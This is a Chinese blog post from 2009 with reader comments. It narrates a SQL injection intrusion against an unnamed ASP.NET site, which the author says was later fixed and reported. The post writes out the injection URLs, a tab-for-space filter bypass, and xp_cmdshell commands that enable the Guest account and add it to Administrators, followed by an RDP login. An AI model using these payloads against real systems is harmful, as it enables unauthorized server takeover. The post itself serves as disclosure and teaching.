典型的 SQL 注入过程November 12, 2009

此漏洞已帮其修复,并知会当事人

SQL 注入漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

http://files.gracecode.com/2009_11_11/1257999312.gif

访问某站点的搜索页面,发现输入单引号“'”就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。

分析

根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句

http://files.gracecode.com/2009_11_11/1257999379.gif

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身

http://files.gracecode.com/2009_11_11/1257999485.png

扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

http://files.gracecode.com/2009_11_11/1257999508.png

并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

http://files.gracecode.com/2009_11_11/1257999460.gif

上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名“guest”密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。

重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。

后记

正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

-- EOF --

已有 21 条评论

  1. ada ada

    沙发

  2. 渐飞 渐飞

    崇拜明爷~~~

  3. 允许空密码登入真危险...

  4. yobin yobin

    LZ搞注入就跟注射疫苗似的

  5. joyqi joyqi

    注入就像爆菊

  6. fen fen

    同意楼上的话,标题改成“典型的SQL爆菊过程”会更有吸引力。

  7. 看到了好多熟悉的名字啊!

  8. 常之 常之

    那。。。那你?!

  9. ware ware

    爆屁菊,估计网站的程序员只会抽插数据库,

  10. 不错哦,哈工大

  11. 不好意思,上面那个找错了
    我想找“哈哈”的

  12. lovelyrosa lovelyrosa

    原来你是这么干的。。。

  13. 万一guest密码不为空,
    net user guest xxx
    不就可以设置guest 密码么?

  14. !!!nX !!!nX

    文章非常精彩,而你们的对话是更加精彩!!佩服佩服。。。

  15. 11 11

    你这个只是基于SA权限

  16. iPeng iPeng

    程序写的不好,没有过滤,也没传参,是直接拼的sql语句。
    呃,人家是asp.net的站,怎么能不用Windows。。。囧

  17. 还是一句话,网站的安全和其价值成正比。

    小破站有几个漏洞很正常,有何必纠结呢

    还去单独拎出来讨论,未免显得矫情

  18. @bigapple 兄弟言重啦,小站不代表可以不安全,而大站也未必就是安全。只是觉得这个案例比较得典型,所以拿出来分享下而已 :^)

  19. xxx xxx

    主机3389 都开着纯属有病。。

  20. xxx xxx

    还有就是 .net 是微软的东西 你说去LINUX 上运行

  21. 如果某台服务器被我拿下了,那一定是你告诉的方法~~

Yahoo 统计